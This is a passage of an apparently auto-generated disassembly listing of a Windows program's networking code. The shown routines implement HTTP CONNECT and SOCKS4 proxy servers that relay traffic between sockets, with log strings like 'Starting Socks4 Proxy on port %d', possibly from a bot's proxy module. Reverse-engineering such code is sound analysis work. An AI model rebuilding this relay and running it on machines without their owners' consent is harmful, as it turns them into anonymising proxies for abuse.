call near ptr 71AB428Ah
nop
add edi, esi
mov eax, ebx
sub eax, edi
jnz short loc_428F1A
loc_428F5E: ; CODE XREF: sub_4282C0+C58j
; sub_4282C0+C77j ...
mov al, [ebp+0BAh]
test al, al
jnz loc_4291EF
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
or esi, 0FFFFFFFFh
mov [esp+0BCh+var_AA], 1
mov [ebp+0BBh], esi
jmp loc_4291F2
; ---------------------------------------------------------------------------
loc_428F8C: ; CODE XREF: sub_4282C0+BF7j
mov esi, dword_50FC90
loc_428F92: ; CODE XREF: sub_4282C0+D0Cj
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+7Ch+arg_41C]
push 4000h
push eax
push ecx
call esi ; dword_50FC90
cmp eax, 1
jl short loc_428F5E
cmp eax, 0FFFFFFFFh
jz short loc_428F5E
push 0
push eax
mov eax, [ebp+0BBh]
lea edx, [esp+90h+arg_40C]
push edx
push eax
nop
call near ptr 71AB428Ah
jmp short loc_428F92
; ---------------------------------------------------------------------------
loc_428FCE: ; CODE XREF: sub_4282C0+66Cj
lea ecx, [esp+38h+var_24]
push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
test eax, eax
jz loc_429492
cmp eax, ebx
jz loc_429492
mov ebx, dword_50FC90
loc_429019: ; CODE XREF: sub_4282C0+EB9j
; sub_4282C0+F11j ...
mov eax, [ebp+0BBh]
mov edx, [ebp+0BFh]
mov [esp+48h+arg_248], eax
mov [esp+48h+arg_244], 1
xor eax, eax
lea ecx, [esp+48h+arg_248]
loc_429040: ; CODE XREF: sub_4282C0+D8Bj
cmp [ecx], edx
jz short loc_42904D
inc eax
add ecx, 4
cmp eax, 1
jb short loc_429040
loc_42904D: ; CODE XREF: sub_4282C0+D82j
cmp eax, 1
jnz short loc_429064
mov [esp+48h+arg_24C], edx
mov [esp+48h+arg_244], 2
loc_429064: ; CODE XREF: sub_4282C0+D90j
mov ecx, 1000h
xor eax, eax
lea edi, [esp+48h+arg_44C]
push eax
rep stosd
push eax
lea ecx, [esp+50h+arg_244]
push eax
push ecx
push eax
call near ptr 71AB2DC0h
nop
mov eax, [ebp+0BBh]
lea edx, [esp+5Ch+arg_230]
push edx
push eax
call sub_436F60
test eax, eax
jz short loc_4290E0
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+68h+arg_430]
push 4000h
push ecx
push edx
call ebx ; dword_50FC90
cmp eax, 0FFFFFFFFh
jz loc_428F5E
mov ecx, [ebp+0BFh]
push 0
push eax
lea eax, [esp+7Ch+arg_420]
push eax
push ecx
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz loc_428F5E
loc_4290E0: ; CODE XREF: sub_4282C0+DDCj
mov eax, [ebp+0BFh]
lea edx, [esp+84h+arg_208]
push edx
push eax
call sub_436F60
test eax, eax
jz short loc_42913A
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+90h+arg_408]
push 4000h
push ecx
push edx
call ebx ; dword_50FC90
cmp eax, 0FFFFFFFFh
jz loc_428F5E
mov ecx, [ebp+0BBh]
push 0
push eax
lea eax, [esp+0A4h+arg_3F8]
push eax
push ecx
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz loc_428F5E
loc_42913A: ; CODE XREF: sub_4282C0+E36j
mov edi, dword_50F8D0
push 5
call edi ; dword_50F8D0
mov eax, [ebp+0BBh]
push 0
lea edx, [esp+0B4h+arg_3E4]
push 4000h
push edx
push eax
call ebx ; dword_50FC90
mov esi, eax
test esi, esi
jz loc_428F5E
jge short loc_42917E
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42917E
push 1
call edi ; dword_50F8D0
jmp loc_429019
; ---------------------------------------------------------------------------
loc_42917E: ; CODE XREF: sub_4282C0+EA6j
; sub_4282C0+EB3j
mov edx, [ebp+0BFh]
mov edi, dword_50FC8C
push 0
lea ecx, [esp+0C4h+arg_3D4]
push esi
push ecx
push edx
call edi ; dword_50FC8C
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+0D4h+arg_3C4]
push 4000h
push eax
push ecx
call ebx ; dword_50FC90
mov esi, eax
test esi, esi
jz loc_428F5E
jge short loc_4291D6
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_4291D6
push 1
nop
call near ptr 28402DAh
jmp loc_429019
; ---------------------------------------------------------------------------
loc_4291D6: ; CODE XREF: sub_4282C0+EFAj
; sub_4282C0+F07j
mov eax, [ebp+0BBh]
push 0
lea edx, [esp+0E4h+arg_3B4]
push esi
push edx
push eax
call edi ; dword_50FC8C
jmp loc_429019
; ---------------------------------------------------------------------------
loc_4291EF: ; CODE XREF: sub_4282C0+CA6j
or esi, 0FFFFFFFFh
loc_4291F2: ; CODE XREF: sub_4282C0+CC7j
mov al, [esp+0B8h+var_A7]
test al, al
jnz short loc_429212
mov edx, [ebp+0BFh]
push edx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
mov [esp+0BCh+var_AA], 1
loc_429212: ; CODE XREF: sub_4282C0+F38j
lea ecx, [esp+0BCh+var_34]
mov byte ptr [esp+0BCh+arg_53E0], 0Dh
call sub_401226
lea ecx, [esp+0BCh+var_5C]
mov byte ptr [esp+0BCh+arg_53E0], 0Ch
call sub_401226
lea ecx, [esp+0BCh+var_74]
mov byte ptr [esp+0BCh+arg_53E0], 2
call sub_401226
lea ecx, [esp+0BCh+var_8C]
mov byte ptr [esp+0BCh+arg_53E0], 1
call sub_401226
lea ecx, [esp+0BCh+var_A8]
mov byte ptr [esp+0BCh+arg_53E0], 0
call sub_401226
lea ecx, [esp+0BCh+var_4]
mov [esp+0BCh+arg_53E0], esi
call sub_4014B0
or esi, 0FFFFFFFFh
loc_429280: ; CODE XREF: sub_4282C0+EBj
mov al, [esp+0BCh+var_AA]
test al, al
jz loc_4282F8
loc_42928C: ; CODE XREF: sub_4282C0+1074j
; sub_4282C0+11CDj
mov al, [ebp+0BAh]
test al, al
jz short loc_4292A9
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
mov [ebp+0BBh], esi
loc_4292A9: ; CODE XREF: sub_4282C0+FD4j
mov al, [esp+11h]
test al, al
jz short loc_4292C4
mov ecx, [ebp+0BFh]
push ecx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
loc_4292C4: ; CODE XREF: sub_4282C0+FEFj
; sub_4282C0+1255j
mov ecx, [esp+0C4h+arg_53D0]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 5494h
retn
; ---------------------------------------------------------------------------
loc_4292DD: ; CODE XREF: sub_4282C0+40Aj
lea ecx, [esp+1Ch+arg_40]
mov byte ptr [esp+1Ch+arg_5480], 0Ch
call sub_401226
loc_4292EE: ; CODE XREF: sub_4282C0+3D7j
lea ecx, [esp+1Ch+arg_28]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
loc_4292FF: ; CODE XREF: sub_4282C0+191j
; sub_4282C0+1AAj ...
lea ecx, [esp+1Ch+arg_10]
mov byte ptr [esp+1Ch+arg_5480], 1
call sub_401226
loc_429310: ; CODE XREF: sub_4282C0+85j
lea ecx, [esp+1Ch+var_8]
mov byte ptr [esp+1Ch+arg_5480], 0
call sub_401226
lea ecx, [esp+1Ch+arg_98]
mov [esp+1Ch+arg_5480], esi
call sub_4014B0
jmp loc_42928C
; ---------------------------------------------------------------------------
loc_429339: ; CODE XREF: sub_4282C0+503j
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
jmp loc_4294AA
; ---------------------------------------------------------------------------
loc_42934B: ; CODE XREF: sub_4282C0+644j
lea ecx, [esp+2Ch+arg_9D]
call sub_4017E4
push eax
lea ecx, [esp+30h+var_18]
push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+2Ch+var_18]
push 0
call sub_4013D9
push eax
lea ecx, [esp+34h+var_18]
call sub_4017E4
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0BBh]
mov esi, dword_50FC88
push eax
call esi ; dword_50FC88
mov ecx, [ebp+0BFh]
push ecx
jmp loc_4294A8
; ---------------------------------------------------------------------------
loc_4293A8: ; CODE XREF: sub_4282C0+660j
mov edx, [esp+38h+arg_D0]
lea ecx, [esp+38h+arg_91]
push edx
call sub_4017E4
push eax
lea eax, [esp+40h+var_24]
push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_4293F2: ; CODE XREF: sub_4282C0+711j
; sub_4282C0+719j
mov edx, [ebp+0BBh]
mov esi, dword_50FC88
push edx
call esi ; dword_50FC88
mov eax, [ebp+0BFh]
push eax
jmp loc_4294A8
; ---------------------------------------------------------------------------
loc_42940D: ; CODE XREF: sub_4282C0+5EEj
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
jmp loc_4294AA
; ---------------------------------------------------------------------------
loc_42941F: ; CODE XREF: sub_4282C0+73Fj
lea ecx, [esp+48h+arg_3C]
mov byte ptr [esp+48h+arg_5454], 0Dh
call sub_401226
lea ecx, [esp+48h+arg_14]
mov byte ptr [esp+48h+arg_5454], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+48h+arg_5454], 2
call sub_401226
lea ecx, [esp+48h+var_18]
mov byte ptr [esp+48h+arg_5454], 1
call sub_401226
lea ecx, [esp+48h+var_34]
mov byte ptr [esp+48h+arg_5454], 0
call sub_401226
lea ecx, [esp+48h+arg_6C]
mov [esp+48h+arg_5454], ebx
call sub_4014B0
or esi, 0FFFFFFFFh
jmp loc_42928C
; ---------------------------------------------------------------------------
loc_429492: ; CODE XREF: sub_4282C0+D45j
; sub_4282C0+D4Dj
mov ecx, [ebp+0BBh]
mov esi, dword_50FC88
push ecx
call esi ; dword_50FC88
mov edx, [ebp+0BFh]
push edx
loc_4294A8: ; CODE XREF: sub_4282C0+10E3j
; sub_4282C0+1148j
call esi ; dword_50FC88
loc_4294AA: ; CODE XREF: sub_4282C0+1086j
; sub_4282C0+115Aj
lea ecx, [esp+50h+arg_34]
mov byte ptr [esp+50h+arg_544C], 0Dh
call sub_401226
lea ecx, [esp+50h+arg_C]
mov byte ptr [esp+50h+arg_544C], 0Ch
call sub_401226
lea ecx, [esp+50h+var_8]
mov byte ptr [esp+50h+arg_544C], 2
call sub_401226
lea ecx, [esp+50h+var_20]
mov byte ptr [esp+50h+arg_544C], 1
call sub_401226
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+arg_544C], 0
call sub_401226
lea ecx, [esp+50h+arg_64]
mov [esp+50h+arg_544C], ebx
call sub_4014B0
jmp loc_4292C4
sub_4282C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 4A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4299C0 proc near ; CODE XREF: sub_4018DEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4299C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aHttp_0 ; "HTTP"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E15C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4299C0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429A30: ; CODE XREF: ___:loc_40112Cj
; ___:0040128Fj
push esi
mov esi, ecx
call sub_402108
test byte ptr [esp+8], 1
jz short loc_429A48
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_429A48: ; CODE XREF: ___:00429A3Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429A60 proc near ; CODE XREF: sub_402108j
push esi
mov esi, ecx
mov eax, [esi+9Eh]
mov dword ptr [esi], offset off_43E15C
cmp eax, 0FFFFFFFFh
jz short loc_429A7B
push eax
nop
call near ptr 71AB9639h
loc_429A7B: ; CODE XREF: sub_429A60+12j
mov ecx, esi
call sub_40179E
pop esi
retn
sub_429A60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429AA0 proc near ; CODE XREF: sub_4010E1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push edi
mov edi, ecx
mov dword ptr [edi+9Eh], 0FFFFFFFFh
loc_429AC3: ; CODE XREF: sub_429AA0+48j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_429AEA
mov ecx, [edi+3Bh]
push ecx
call sub_40197E
add esp, 4
cmp eax, 0FFFFFFFFh
mov [edi+9Eh], eax
jz short loc_429AC3
loc_429AEA: ; CODE XREF: sub_429AA0+31j
mov edx, [edi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_429BBC
push ebp
push esi
loc_429B00: ; CODE XREF: sub_429AA0+114j
mov eax, [edi+9Eh]
push eax
call sub_4012DF
mov ebp, eax
add esp, 4
cmp ebp, 0FFFFFFFFh
jz loc_429B9B
test ebp, ebp
jz short loc_429B9B
push 0C3h
call sub_4367FA
add esp, 4
mov [esp+1Ch+var_10], eax
test eax, eax
mov [esp+1Ch+var_4], 0
jz short loc_429B46
mov ecx, eax
call sub_401884
mov esi, eax
jmp short loc_429B48
; ---------------------------------------------------------------------------
loc_429B46: ; CODE XREF: sub_429AA0+99j
xor esi, esi
loc_429B48: ; CODE XREF: sub_429AA0+A4j
mov ecx, [edi+99h]
mov [esi+9Dh], edi
mov [esi+99h], ecx
mov edx, [edi+3Bh]
lea eax, [edi+26h]
lea ecx, [esi+26h]
push eax
mov [esp+20h+var_4], 0FFFFFFFFh
mov [esi+3Bh], edx
mov [esi+0BBh], ebp
call sub_401FBE
mov cl, [edi+97h]
mov [esi+97h], cl
mov dl, [edi+98h]
mov ecx, esi
mov [esi+98h], dl
call sub_4013D4
jmp short loc_429BA6
; ---------------------------------------------------------------------------
loc_429B9B: ; CODE XREF: sub_429AA0+74j
; sub_429AA0+7Cj
push 0FAh
nop
call near ptr 28402DAh
loc_429BA6: ; CODE XREF: sub_429AA0+F9j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jnz loc_429B00
pop esi
pop ebp
loc_429BBC: ; CODE XREF: sub_429AA0+58j
mov edi, [edi+9Eh]
cmp edi, 0FFFFFFFFh
jz short loc_429BCE
push edi
call near ptr 71AB9639h
nop
loc_429BCE: ; CODE XREF: sub_429AA0+125j
mov ecx, [esp+14h+var_C]
pop edi
mov large fs:0, ecx
add esp, 10h
retn
sub_429AA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429C30 proc near ; CODE XREF: sub_40137Aj
push ebx
push esi
mov esi, ecx
push edi
mov al, [esi+9Dh]
lea edi, [esi+11h]
test al, al
mov eax, [esi+3Bh]
lea ebx, [esi+26h]
push eax
mov ecx, edi
jz short loc_429C58
call sub_4017E4
push eax
push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL."
jmp short loc_429C63
; ---------------------------------------------------------------------------
loc_429C58: ; CODE XREF: sub_429C30+19j
call sub_4017E4
push eax
push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d."
loc_429C63: ; CODE XREF: sub_429C30+26j
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
mov ecx, esi
call sub_4010E1
mov eax, [esi+3Bh]
mov ecx, edi
push eax
call sub_4017E4
push eax
push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
pop edi
pop esi
pop ebx
retn
sub_429C30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429D00 proc near ; CODE XREF: sub_40211Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429D00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E16C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429D00 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429D70: ; CODE XREF: ___:00401870j
; ___:loc_401B04j
push esi
mov esi, ecx
call sub_401F87
test byte ptr [esp+8], 1
jz short loc_429D88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_429D88: ; CODE XREF: ___:00429D7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429DA0 proc near ; CODE XREF: sub_401F87j
jmp sub_40179E
sub_429DA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429DC0 proc near ; CODE XREF: sub_4010AFj
var_81D = byte ptr -81Dh
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_806 = word ptr -806h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
var_400 = byte ptr -400h
sub esp, 820h
lea eax, [esp+820h+var_81D]
push ebx
push ebp
push esi
mov esi, dword_50FC90
mov ebp, ecx
push edi
push 0
push 1
mov ecx, [ebp+0A1h]
push eax
push ecx
call esi ; dword_50FC90
cmp eax, 1
jge short loc_429E01
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429E01: ; CODE XREF: sub_429DC0+27j
cmp [esp+830h+var_81D], 4
jnz loc_429FEC
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_807]
push 406h
push eax
push ecx
call esi ; dword_50FC90
cmp eax, 1
jge short loc_429E3E
mov edx, [ebp+0A1h]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429E3E: ; CODE XREF: sub_429DC0+64j
cmp [esp+830h+var_807], 1
jnz loc_429FEC
mov cx, [esp+830h+var_806]
mov edx, [esp+830h+var_804]
xor eax, eax
push 6
mov [esp+834h+var_818], eax
push 1
mov [esp+838h+var_814], eax
push 2
mov [esp+83Ch+var_810], eax
mov word ptr [esp+83Ch+var_818], 2
mov [esp+83Ch+var_80C], eax
mov word ptr [esp+83Ch+var_818+2], cx
mov [esp+83Ch+var_814], edx
call near ptr 71AB3B91h
nop
mov ebx, eax
lea eax, [esp+830h+var_818]
push 10h
push eax
push ebx
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
mov [esp+830h+var_808], 0
jnz short loc_429ED9
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Bh
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
call near ptr 71AB428Ah
nop
mov eax, [ebp+0A1h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429ED9: ; CODE XREF: sub_429DC0+D8j
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Ah
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
mov esi, dword_50FC50
lea eax, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push eax
push 8004667Eh
push ecx
call esi ; dword_50FC50
lea edx, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push edx
push 8004667Eh
push ebx
call esi ; dword_50FC50
loc_429F36: ; CODE XREF: sub_429DC0+1AFj
; sub_429DC0+1FEj ...
mov edi, dword_50FC90
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ebx
call edi ; dword_50FC90
mov esi, eax
test esi, esi
jz loc_429FDA
jge short loc_429F71
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_429F71
push 0Ah
nop
call near ptr 28402DAh
jmp short loc_429F36
; ---------------------------------------------------------------------------
loc_429F71: ; CODE XREF: sub_429DC0+198j
; sub_429DC0+1A5j
mov edx, [ebp+0A1h]
push 0
lea ecx, [esp+834h+var_400]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ecx
call edi ; dword_50FC90
mov esi, eax
test esi, esi
jz short loc_429FDA
jge short loc_429FC3
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_429FC3
push 0Ah
nop
call near ptr 28402DAh
jmp loc_429F36
; ---------------------------------------------------------------------------
loc_429FC3: ; CODE XREF: sub_429DC0+1E7j
; sub_429DC0+1F4j
push 0
lea edx, [esp+834h+var_400]
push esi
push edx
push ebx
nop
call near ptr 71AB428Ah
jmp loc_429F36
; ---------------------------------------------------------------------------
loc_429FDA: ; CODE XREF: sub_429DC0+192j
; sub_429DC0+1E5j
mov eax, [ebp+0A1h]
mov esi, dword_50FC88
push eax
call esi ; dword_50FC88
push ebx
call esi ; dword_50FC88
loc_429FEC: ; CODE XREF: sub_429DC0+46j
; sub_429DC0+83j
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
sub_429DC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A090 proc near ; CODE XREF: sub_40216Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42A090
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E17C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42A090 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401C3A
test [esp+4+arg_0], 1
jz short loc_42A118
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42A118: ; CODE XREF: sub_42A100+Dj
mov eax, esi
pop esi
retn 4
sub_42A100 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42A130 proc near ; CODE XREF: sub_401C3Aj
jmp sub_40179E
sub_42A130 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A150 proc near ; CODE XREF: sub_40188Ej
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42A150
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
lea ebx, [esi+26h]
call sub_4017E4
push eax
push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42A359
mov cx, [esi+3Bh]
xor eax, eax
mov [esp+3Ch+var_2C], eax
push ecx
mov [esp+40h+var_28], eax
mov word ptr [esp+40h+var_2C], 2
mov [esp+40h+var_24], eax
mov [esp+40h+var_20], eax
call near ptr 71AB2B66h
nop
mov word ptr [esp+3Ch+var_2C+2], ax
mov eax, [esi+9Dh]
lea edx, [esp+3Ch+var_2C]
push 10h
push edx
push eax
mov [esp+48h+var_34], 10h
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_42A226
mov ecx, [esi+9Dh]
push ecx
nop
call near ptr 71AB9639h
pop esi
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42A226: ; CODE XREF: sub_42A150+B6j
mov edx, [esi+99h]
push ebp
push edi
mov al, [edx+11Ch]
test al, al
jz loc_42A310
loc_42A23C: ; CODE XREF: sub_42A150+1BAj
mov eax, [esi+9Dh]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_42A260
push 0FAh
call near ptr 28402DAh
nop
jmp loc_42A2FC
; ---------------------------------------------------------------------------
loc_42A260: ; CODE XREF: sub_42A150+FEj
mov eax, [esi+9Dh]
lea ecx, [esp+40h+var_30]
lea edx, [esp+40h+var_18]
push ecx
push edx
push eax
call near ptr 71AC1028h
nop
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42A310
xor edi, edi
cmp ebp, edi
jz loc_42A310
push 0A5h
call sub_4367FA
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42A2AE
mov ecx, eax
call sub_40211C
mov edi, eax
loc_42A2AE: ; CODE XREF: sub_42A150+153j
mov ecx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], ecx
mov edx, [esi+3Bh]
push ebx
lea ecx, [edi+26h]
mov [esp+48h+var_4], 0FFFFFFFFh
mov [edi+3Bh], edx
mov [edi+0A1h], ebp
call sub_401FBE
mov al, [esi+97h]
mov [edi+97h], al
mov cl, [esi+98h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013D4
loc_42A2FC: ; CODE XREF: sub_42A150+10Bj
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42A23C
loc_42A310: ; CODE XREF: sub_42A150+E6j
; sub_42A150+12Cj ...
mov eax, [esi+9Dh]
pop edi
cmp eax, 0FFFFFFFFh
pop ebp
jz short loc_42A324
push eax
nop
call near ptr 71AB9639h
loc_42A324: ; CODE XREF: sub_42A150+1CBj
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
call sub_4017E4
push eax
push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
loc_42A359: ; CODE XREF: sub_42A150+69j
mov ecx, [esp+3Ch+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42A150 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A400 proc near ; CODE XREF: sub_40174Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
call near ptr 71AB4FD4h
nop
test eax, eax
jz short loc_42A421
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov ecx, [esp+arg_4]
mov eax, [edx]
mov [ecx], eax
mov al, 1
retn 8
; ---------------------------------------------------------------------------
loc_42A421: ; CODE XREF: sub_42A400+Dj
xor al, al
retn 8
sub_42A400 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A440 proc near ; CODE XREF: sub_4020C2j
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_400 = byte ptr -400h
